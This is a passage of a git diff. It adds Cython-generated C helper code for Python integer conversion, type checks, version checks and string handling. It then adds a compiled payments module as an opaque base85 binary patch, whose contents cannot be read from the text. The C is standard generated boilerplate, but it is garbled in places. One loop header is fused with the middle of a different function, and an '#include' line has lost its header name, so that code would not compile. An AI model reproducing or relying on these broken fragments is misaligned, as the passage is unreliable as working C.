* PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so b/handlers/payments/utils.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 0000000000000000000000000000000000000000..5794b5dca94746106fa444496c6ccd5432e04d20 GIT binary patch literal 387024 zcmeFadwdi{);>Og3`7JcplDo0qecy0FmVl=h|z>3&?6Iw+!d8X2nGcb!;A(m5XeN+ zwu4boSyx@uUB&gXtQQt<7y=U1T?M?Ms36|DiCn~8KwZi2d8(?XJDtq#`@Wy=AHP2~ zyV7+|ovJ!@&Z$#Xr>c7vl!Qj~NJ{eAe?5H{`W(pTD^M9_pZjeR;BtM3yo>pZ+Pe`^KvF66s;DYR`Tu@d{b8 z4%*Df(Gz?iYauT^6$4CDg@l=(e0oRnjGF#e9a=iB`cIEtp8U?8zo{T8^Y6fatXJ}% z4AB=P5y!t6{`<|4?7QAOdQr1LB={!<71(`pliUjiyTd;SqVDiJ6W~ur2fL&HR|5K9 z(6R35pF=0R!=H9o_juB#<3I1;8<0|W^(;zIPgw#ve35|9xe4kyyifP-?n+SqISKS~ zOoDcwOwev>0{OoR!E`5wmlD)pl|cSCz+k(pXF-B`h9&6NoeB6nIYB+2Cg?8*RCoOR zHUa;A6UhIz1a@*}0{ov6$TJ)K5AYfx;Ik9RZC(O?!U^hMm!QATC%_+-pxu!Po*-=?VC}J^?>F65yXrAcuYl_*s_#KR!W!KTTi{vlH0oUlYh@cY=2BPJkbu zpudd?=qDw>FH0bw^AhlRO#(UiQBQYzd^CX^?n{6_HUXa>C!l{V0Y6y@`h{wI>G;q4 z*O5S;WeM~k^67aJX`0nKMT>?38P9TS46Y#Svfj=3VfWBt}{JI2k+mt{)!xQ+` z;R*QpGC{v4Kq1}v+sz5;DM-NQ^aS!;oIo${CE$Ngf_6_z&~7vV{}&{X+u;e?y*fet zKP1rCV+rK>Wdi<}B*5RDKyEb&>i;$YKhGx^7w;yJ&-4WRL=)7rG6DVM1oRsc^s69& zJzSGOFPRDYyFWoaNeSA0J3&2nBxv`}1ai|8)H5kTyALI(|Iq~Yc^2AD$A8|x4GH8t zG6DY61ok{QfnDuOz|X)0{TcxVPxdki_|FOSGAV)mypVvO?-KNDd;)p?3-$E(9qX&V z1O@R2HpJf{@ISzJgzvl>3CDfi)Tvj`uAVb>Zn&a0JawvXYH)n%)ajMAl~>Q48?LM! zUs^P)dQRo|imPT-%DnD#rcSG?m^x$ToQhd9ZvXH)zc$jv25OiIWwnKPp?E7us>%+ZT0MUE97F_JalWe&4*}r z99eb>vPhhP@l~~z71PIsE5emiM^=)F5w#VwD+RCYWpQQ2tXb95fLE-7s4yHBeMD68u59ig;8-KnDp!m-h{ zWY!UvP)|*5C6pAGZm`(tEQ~=`?x4^SGC}Kd+LcCAS{bgYo~|rte57WU(AKzFGpA8p zaRhm1eU-DPmfCugnX(#XhIQ04iAK~`vOIM$x*CY;+IhaI94gbUojR@R+Nm=tW>R8f zBXg!ok&KvCakbDVN=&Mq8Lpf#r?z6|Trqm2mO&eyIlFRFMeQ7E`mCH#NgZmkby!?U z8+IWaO&89Yt_*hgyl~}Q@Mv4OlcU6=Rm`oTwA@BKVGc}g+O?I_Ax+fp&H_dlH_&kt zrP0w)DzB0Qj)tnb5Vus0s&I7;gj-udvu1g83geqTz&AHsTRW|ac1#a2bu7lyJOGME zP;rpNElL@!d`PG^e zxxTV?#;ocaY_9Ec7^#PEu_m8#F8O(~?2Gq10N>bp3E5WKH4XH`hq;zanv>e^|r-l-!Z zbEYYID;g(L43x5YMK+D_zTjeN3Ekq@%4w0>xoDaLl-N*Z#r2h5ER{HB8YpWkJ!6`J z7h?t1!7(*;)ST)Y<_L3(%VT8aoXXmn(?B8oAxbDFJ7-Lq8Lm>yQcZMlwu;#PXwC$j zQ{plLyYVz_%x#^*z=CtfMXm}{t!4AjmfiEB>e^~M-9=o|f1m)37`4t}hYRP^iM4!GfTG8!ggaAF&4 z;oJ%1N8|!g#2F4Fpk#JUm=;cFg@M(1DpErW*;6NCJjjtbX57@db80Z{hG)Q))y%7# zI$O+~Q)kYdI=f=#oT*h6bEeM%IWjBe&90miMk*4XIg2*zol%tH+@=s8$kMNtNw+a! z4xA>I5L0c&srIt!xnt(cnpapWTqb7q;<%>-P%=k(&2BsbSP^ZahcrKcBW6`sgl+Xo zpm1(+b%e{7vU#EEIak}6wk+-OE!~4K$_k9Ek~*=}pzYBs#}@)>hEYRTwjgFSyA2vZ z+%PFCT2c{xt#H9~eWB{=Ya?_s#g%iX)lLo0Ev^Vx0949XZNWm=x`fz7QAK2~ZOj-> z6d?);yB9{Hcv7_p^Pe`WVy-<8K}a$Sg&=Fp{54RDP!BL%TE+D%{cUmO47uW(HS?-z zL*`Zw8R{Du3Jx!tdhU?y^Ww>KhvdZ5=W$J$^#AC8J-XD>vkRuXwh~b#|Bp&{SL6Q` z=jB97r>F0DSL}SrUH4%JmFzoB;Ud49i4}TJU$%menmMzd4?*C3!2Gk%$FO~nf7i)J znmYfo@hxh7UtT2F|2E!+mwNC8eI?xr558=vtbdCKj|o-&6?d*beSt*hdhi=-CBDFe z_uVV;RUUkLiLAHAgD+S3IuE`@;hR19=J~RIyFObEGy2Q=GgUbopLMIGx7)Gt*C~3t z9UFhM!f)`@vqH7I(SzU4jWqsD557^=v)6;S>pAGb+x4W5=q&%3swd5ZufIXIo9@Av z-!1XE9{l~Po&pcvu1E9W?Rv^R_+_e|Di6Lu*+Y#7Uw)V5r^$nVM%B~o!7qzQ`lTLx z`4Wj=;lck^)w9Zjx9e%~;O%<0cIJ$SnwpVnEUweSM=o`e9Ll4U**B4k5=Q$gI}TS)6Tc~wDpy#%Gvm`$CaEt_=Ejq{RJMp ztuM`k_w7~v^57>QA?qpk;B9?XdGOnnzUn-9TVM4a{1-~^O&+}Oddbf+58htCE%)GU z`jj!9^?R|h&vXxd*(H)L(}OQpaFqvNJVx?U=fNLeA@Qp`_zg$M`Zs#;SvM;=mv!bd zRr%*FUc6er6)1jfy=NUJ%WEF|-W9U`?H9^?Y%=0!0L(F6cx*W0e|uecwdD|b2VMBX z@aZo6P!~Sah0k^2vt0Om7e3d8FLvPz zT=B=uW{k+yKl^{bK%Qf^z|T`Z+79Yb>Ww~@YOE-G8bN%rpR6H!q0WluW;d&3lq7kTzEC41-`|FS0*m-8(eth zvITyl3$M1C0>8zDUnDT{pY1NZ+S%uR0;eX}AuW;dybKzIH@W;FGEiU{Z7k+~ae}W6Y(S<+Jh2P@Br@QdmUHFq+c+-V< zpEvJy;ZJeVA9Ud}TzFrhWB;eR@F_0*=`MV#3!mx2r@8QhUHEht{tOpB(}h3Nh0k)~ zhq&;$E_{{?U*N)LyYQL|f36E(=EDElg`e!gpXb7tyYM+Ke3c9T8yCLDh0k;0>s79feXLfg)emBSGe%QUHDZle31*^;=-4> z@EctC5ia~j7e461Z*k#Ax$xUv_)-_%bm2$4@Oxc&wL}xS2VM9w7rk$|WB-@9@F_0* zSQkFkg&*g_r@8RsUHEhteu4|1>B3KR;j>)$NiKY@3xAmlU*N(|ap5%={&E+-%!R+g zg`e!gU+Kb^yYN$8_$n8^!iBGK;jePx>s!z@CRM^TU_<~R6L(+kohiriVI)w!l%0M3tjj$7rw!TPj}&? zE_|j7-{`_;x$w8S@VPF0lM7$q!s{-)=EC3Z!k4-5h714S>0X}Po12eE^ZFXP=^sH6~W+2ac z&Vd=gvmSL|2JWo89hd<-YmoypP-oRT@MOYQIq;=~$2u?rc-C+SX5h{`*MS+Zvrcy4 zD+mv8UnaDHNqDRSUqg6!9PT)E|3RN`M&Lx)9p|f#Q+xf`89wC6_tNk7VfBb;Ojl`91lFh17GQZCwkz~ z9(aTYzR&{?^}s_s@M#|S1P^?)2R_0B_wvAp4s^DM{T_I?2mZzbf9`=l^uX_U;PoDO zwFh45fuHrjk9**UJ@9=Vc(Dh*)dSD>z}I`=IUab12foq+PxQc}J@5z*e4z&(>Vb!N z;L|+t2_E=p4}63N?&X0G?f2;41Ml|0-+189J@AJf_#F?t-UF}pz$-oQvmW?y5B#tP zzRv?M_Q1D#;Q1c-dJjCu1JCflS9;)y9(c3|9^rv6^uR+s@DLAtng>3?10U^ykMO{~ zJn*4^di3vscYEM(Jn-ip_(Ko;jt5@vfmeIrm2vnI^D@lC+?J&nsU5B19(w9!YYQh8 zP7Lb%3nvtgpP=c#jJrfLMq&q7-;8;Wq`k3&)7Q4Am_x9KK}u`f8faX{OvC@w_k84< zYq7j(Y>A`;)eKZf->1cLu3IBAvs=tRVD)d^g(BwpSO;qQ9+T@uO>aZ}k$xrF9VOYj zO0vJo-qk+JJcyNYP+!NEztN1GOOlg(AT%FA6+!(CqE8O#`+>^dW!@o>tR*~vMBjl8 zO@E`^k1Dfwh4c>dMy%FDXs=d0zcsJHQ)}E6h;oCc>Ft+k`j#nI6kc9VCg%^3re{s9IWe(H#z!~TE#0HC8K5Ir}^=W9>b@-~K#Lp%M* zWGrXMU+_R%*Q0$a6%--k>}w#-(#BokqY8}@Uq?$gxlk{GfZDBnRA?;cZ`2v}gU(1T z1fqXu7Nk2LIP^VeBxj(D{n5pso}3X$Vduv(4~7w4CWyD0UqHc1ji(f@LgT2tU*vVx zv>pv;v4L{|m{R zX!@4{+yK3g+pu&FvR58-)i!)A6BB7<}FJv@JgL=DF7XBVY zE0{*5H6;2Gh|y2l^LhWX35$vQ~@Tl%mDvrjk?(3@*+nv$NBf_!u_}MWBB)V*`>7LxEXsntn${eG;|MZ#7Jit-@Of8p#uy{{l^~0l~K| z$N=Yffb(cZ8p=8BfzSeBD+mXzVZ(Q1YzHAMfR*wFm(wt4zX$DF)@FhTWpZ0&rB#YB z-ujOqTo(di3UWYrKiGs#vC?KmE9HYq-vsR&td#Bzv{O)NNPjRROA&6OIc_CEE(!Ff zGx({S>|HY;rE=2X*@P#hwp_t0@PuSx0w@8=ZozXR{sV5Ojf3%vk3Rw@u7Hy+6Sy9d z?tCOg*)j)r6_QD$t3%=lNq4)ATZY6j689W&l=dnl90}4GAmJLcfPTKDRJUEx2;o8H z5Jwx!d<>f2prKMWf`;{_plB!U*=ioWT4;^3*h1RD(Tprb%V90-*w*x)Kug^m1R<4z zdM7K|xB``?qZt$j7+Lw6thCL(Is@ev_)ym=dZi zBQ@Bs!;`99iYKLkuxHD{A z0TK+rf^Mvht8(aWv~kTyBuhGeBuLb^3W*fp$kqm=Dd>%OvY%3TO3CFth1`ZxZji-6 zMYEoSo0My4gJ9oL$}mBoMo2n}3c2y0kA?Q+SUw7svEjXJ7?o;@P?*aX${TSk`$5Pd 